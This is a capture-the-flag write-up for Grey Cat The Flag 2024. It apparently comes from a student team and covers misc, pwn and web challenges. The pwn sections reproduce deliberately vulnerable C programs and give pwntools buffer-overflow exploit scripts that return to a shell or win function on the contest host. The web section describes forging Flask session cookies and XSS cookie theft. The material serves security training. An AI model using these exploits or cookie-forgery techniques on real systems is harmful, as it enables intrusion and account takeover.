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GREY CAT THE FLAG 2024
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MICS ✅
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### Cats At The Beach ✍️

### Grey Drivers ✍️
- First, you can see that Grey Cat is playing Hell Driver 2 and leave a note behind.
- So I searched for the game Hell Driver 2, and found out that the list in the note is the name of weapon in Hell Driver 2.
- In this game every weapon need a launch code to use, for example, the first weapon in the list is Eagle 500kg Bomb has this launch code(i searched it from the game's wiki):
and we can follow the direction started from home:


and for the first weapon, we have "grey{".Do the same to others weapon in the list, we have
> Flag: `grey{i3mm_e1w3st_2_n3oU10o3E!}`

### All About Timing ✍️

The challenge is all about guessing the right number. So at first I tried to depend on the time that the server respond and use binary search. However it doesn't work, as the number change constantly.

Until I realized the answer is the same if I submit them fast enough (the server will return back the right answer if we submit the wrong one)

#### Code:

import time
import random
from pwn import *

def time_guess(guess):
    conn = remote("challs.nusgreyhats.org", 31111)
    conn.recvuntil(b"Your guess:")
    conn.sendline(str(guess))
    response = conn.recvline()
    response = response.replace(b"Wrong answer! The number I was thinking of was", b"").strip()
    print(response.decode())
    conn.close()
    return response.decode()
start=0
response1 = time_guess(start)
print(response1)
response2 = time_guess(response1)
print(response2)


Here is the result, about the flag?
> Flag: `grey{t1m3_i5_a_s0c1al_coNstRucT}`

### Cashhat The Ripper ✍️

- From the title, I guessed I could use johntheripper.
- Although, using this tool in windows looks easy but it has some problem about the format of the hashcat: Ex: "Error: UTF-16 BOM seen in input file.", which forced you to decode to UF8 before cracking password.
- I use Kali linux.
- First, we use `zip2john` to take the hash cat of this zip file:

Notes: Take this hashcat to a txt file help I easy to bruteforce.

- Using 'john the ripper: `join`' brutefored password by hashcat

- The password is: `123mango`

heheboizzz

> Flag: `flag{W34k_P4ssw0rds_St4Nd_n0_Ch4nc3}`

### Out In Plain Sight ✍️

- 

- "@nus.greyhats", first i guessed this is an ins or twitter account, not facebook (because it is not popular in Singapore )
- I osinted in ins first because i did not have X account :))
- The nearest video looks suspiciou.
- I downloaded it and saw it with 0.5x speed
- I saw this cipher text (from hex): `31 38 20 73 65 63 6f 6e 64 73`
- This means: `18 seconds`
- So I watched this video in 18 seconds more clearly.

> Flag: `grey{y0uR_eYeS_aRe_ShArP}`

Pwnable ✅
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### Baby Goods ✍️

#### Overall
- Simple challenge
#### Script

*babygoods.c*

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char username[0x20];

int menu(char name[0x20]);

int sub_15210123() {
    execve("/bin/sh", 0, 0);
}

int buildpram() {
    char buf[0x10];
    char size[4];
    int num;

    printf("\nChoose the size of the pram (1-5): ");
    fgets(size,4,stdin);
    size[strcspn(size, "\r\n")] = '\0';
    num = atoi(size);
    if (1 > num || 5 < num) {
        printf("\nInvalid size!\n");
        return 0;
    }

    printf("\nYour pram has been created! Give it a name: ");
    //buffer overflow! user can pop shell directly from here
    gets(buf);
    printf("\nNew pram %s of size %s has been created!\n", buf, size);
    return 0;
}

int exitshop() {
    puts("\nThank you for visiting babygoods!\n");
    exit(0);
}

int menu(char name[0x20]) {
    char input[4];
    do {
        printf("\nHello %s!\n", name);
        printf("Welcome to babygoods, where we provide the best custom baby goods!\nWhat would you like to do today?\n");
        printf("1: Build new pram\n");
        printf("2: Exit\n");
        printf("Input: ");
        fgets(input, 4, stdin);
        input[strcspn(input, "\r\n")] = '\0';
        switch (atoi(input))
        {
        case 1:
            buildpram();
            break;
        default:
            printf("\nInvalid input!\n==========\n");
            menu(name);
        }
    } while (atoi(input) != 2);
    exitshop();
}

int main() {
	setbuf(stdin, 0);
	setbuf(stdout, 0);

    printf("Enter your name: ");
    fgets(username,0x20,stdin);
    username[strcspn(username, "\r\n")] = '\0';
    menu(username);
    return 0;
}

A simple buffer overflow in buildpram()

gets(buf);


from pwn import *

#r = process('./babygoods')
r = remote( 'challs.nusgreyhats.org', 32345)

payload = b'A'*40
payload += p64(0x401236)
r.sendlineafter(b'Enter your name: ', b'Broder')
r.sendlineafter(b'Input: ', b'1')
r.sendlineafter(b'Choose the size of the pram (1-5): ', b'2')
r.sendlineafter(b'Your pram has been created! Give it a name: ', payload)
r.interactive()

### The Mororala ✍️
*chall.c*

#include <stdio.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>


char* pin;

// this is the better print, because i'm cool like that ;)
void slow_type(char* msg) {
	int i = 0;
	while (1) {
		if (!msg[i])
			return;
		putchar(msg[i]);
		usleep(5000);
		i += 1;
	}
}

void view_message() {
	int fd = open("./flag.txt", O_RDONLY);
	char* flag = calloc(0x50, sizeof(char));
	read(fd , flag, 0x50);
	close(fd);
	slow_type("\n\e[1;93mAfter several intense attempts, you successfully breach the phone's defenses.\nUnlocking its secrets, you uncover a massive revelation that holds the power to reshape everything.\nThe once-elusive truth is now in your hands, but little do you know, the plot deepens, and the journey through the clandestine hideout takes an unexpected turn, becoming even more complicated.\n\e[0m");
	printf("\n%s\n", flag);
	exit(0);
}

void retrieve_pin(){
	FILE* f = fopen("./pin", "r");
	pin = malloc(0x40);
	memset(pin, 0, 0x40);
	fread(pin, 0x30, 0x1, f);
	fclose(f);
}

void login() {
	char attempt[0x30];
	int count = 5;

	for (int i = 0; i < 5; i++) {
		memset(attempt, 0, 0x30);
		printf("\e[1;91m%d TRIES LEFT.\n\e[0m", 5-i);
		printf("PIN: ");
		scanf("%s", attempt);
		if (!strcmp(attempt, pin)) {
			view_message();
		}
	}
	slow_type("\n\e[1;33mAfter five unsuccessful attempts, the phone begins to emit an alarming heat, escalating to a point of no return. In a sudden burst of intensity, it explodes, sealing your fate.\e[0m\n\n");
}

void banner() {

	slow_type("\e[1;33mAs you breached the final door to TACYERG's hideout, anticipation surged.\nYet, the room defied expectations – disorder reigned, furniture overturned, documents scattered, and the vault empty.\n'Yet another dead end,' you muttered under your breath.\nAs you sighed and prepared to leave, a glint caught your eye: a cellphone tucked away under unkempt sheets in a corner.\nRecognizing it as potentially the last piece of evidence you have yet to find, you picked it up with a growing sense of anticipation.\n\n\e[0m");

    puts("                         .--.");
	puts("                         |  | ");
	puts("                         |  | ");
	puts("                         |  | ");
	puts("                         |  | ");
	puts("        _.-----------._  |  | ");
	puts("     .-'      __       `-.  | ");
	puts("   .'       .'  `.        `.| ");
	puts("  ;         :    :          ; ");
	puts("  |         `.__.'          | ");
	puts("  |   ___                   | ");
	puts("  |  (_M_) M O T O R A L A  | ");
	puts("  | .---------------------. | ");
	puts("  | |                     | | ");
	puts("  | |      \e[0;91mYOU HAVE\e[0m       | | ");
	puts("  | |  \e[0;91m1 UNREAD MESSAGE.\e[0m  | | ");
	puts("  | |                     | | ");
	puts("  | |   \e[0;91mUNLOCK TO VIEW.\e[0m   | | ");
	puts("  | |                     | | ");
	puts("  | `---------------------' | ");
	puts("  |                         | ");
	puts("  |                __       | ");
	puts("  |  ________  .-~~__~~-.   | ");
	puts("  | |___C___/ /  .'  `.  \\  | ");
	puts("  |  ______  ;   : OK :   ; | ");
	puts("  | |__A___| |  _`.__.'_  | | ");
	puts("  |  _______ ; \\< |  | >/ ; | ");
	puts("  | [_=]						\n");

	slow_type("\e[1;94mLocked behind a PIN, you attempt to find a way to break into the cellphone, despite only having 5 tries.\e[0m\n\n");
}


void init() {
	setbuf(stdin, 0);
	setbuf(stdout, 0);
	retrieve_pin();
	printf("\e[2J\e[H");
}

int main() {
	init();
	banner();
	login();
}

In login(), you can see ***buffer overflow***

scanf("%s", attempt);

And, the function will print flag view_message()

void view_message() {
	int fd = open("./flag.txt", O_RDONLY);
	char* flag = calloc(0x50, sizeof(char));
	read(fd , flag, 0x50);
	close(fd);
	slow_type("\n\e[1;93mAfter several intense attempts, you successfully breach the phone's defenses.\nUnlocking its secrets, you uncover a massive revelation that holds the power to reshape everything.\nThe once-elusive truth is now in your hands, but little do you know, the plot deepens, and the journey through the clandestine hideout takes an unexpected turn, becoming even more complicated.\n\e[0m");
	printf("\n%s\n", flag);
	exit(0);
}

Basically, you only calculate the offset to return address


***However, the problem happens here***


#### **See the solution in my ROP write up(ret2win):** [Rop Emporium](https://hackmd.io/@Broder/RopEmporium)

from pwn import *
win = p64(0x40138e)
ret = p64(0x40101a)
#r = process('./chall')
r = remote('challs.nusgreyhats.org', 30211)
offset = b'a'*72

payload = offset
payload += ret
payload += win
r.sendlineafter(b'PIN: ', payload)
r.interactive()

WEB
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### Baby-web
"I just learnt how to design my favourite flask webpage using htmx and bootstrap. I hope I don't accidentally expose my super secret flag."

_First, I checked the python code:
_Can see that it uses flask application in python.
_It also has secret_key = "baby-web", and I see that the value is_admin = False.
_With flask application, we use the tool [flask-unsign](https://github.com/Paradoxis/Flask-Unsign) combine with what we have seen in the source code, flask-unsign can forge a cookies that allow us to bypass admin.Use the following command
and the result:
now i change the cookie so that i can access to admin.
but it isn't done yet.I check the source code and find this hidden button
All i need to do now is modify the source code so that the secret button can appear.(delete hidden)
And here comes the flag
>Flag: grey{0h_n0_mY_5up3r_53cr3t_4dm1n_fl4g}
### Markdown parser
"I built this simple markdown parser. Please give me some feedback (in markdown), I promise to read them all. Current features include: bold, italics, code blocks with syntax highlighting!"

_First, i check the source code and the markdown code, the source code seem not provide anything useful, so i look at the markdown code.
_If line starts with \`\`\` it will be in code block, and the code block html0output is different from others, it lead us to the prevalent web vulnerability, XSS.
_I have to do the research how XSS work, and what can it do.You can see in the link below:
https://www.go4expert.com/articles/stealing-cookie-xss-t17066/
Briefly, it is a vulnarbility that you can inject your code from client input, it can help you steal cookies.
_To fetch cookies using XXS, follow this, using Burpsite collaborator.
https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-stealing-cookies

CHALLENGES chưa giải được!!!
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MICS 🔥 (N_Muggle)
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Web 🔥 (Hyber)
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### ....✍️

Pwnable 🔥 (Broder)
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### ....✍️

Reverse 🔥 (AhnMaph)
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### ....✍️

Crypto 🔥 (dvt)
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### ....✍️

###### tags: `0n3_pu4ch_` `greycattheflag2024`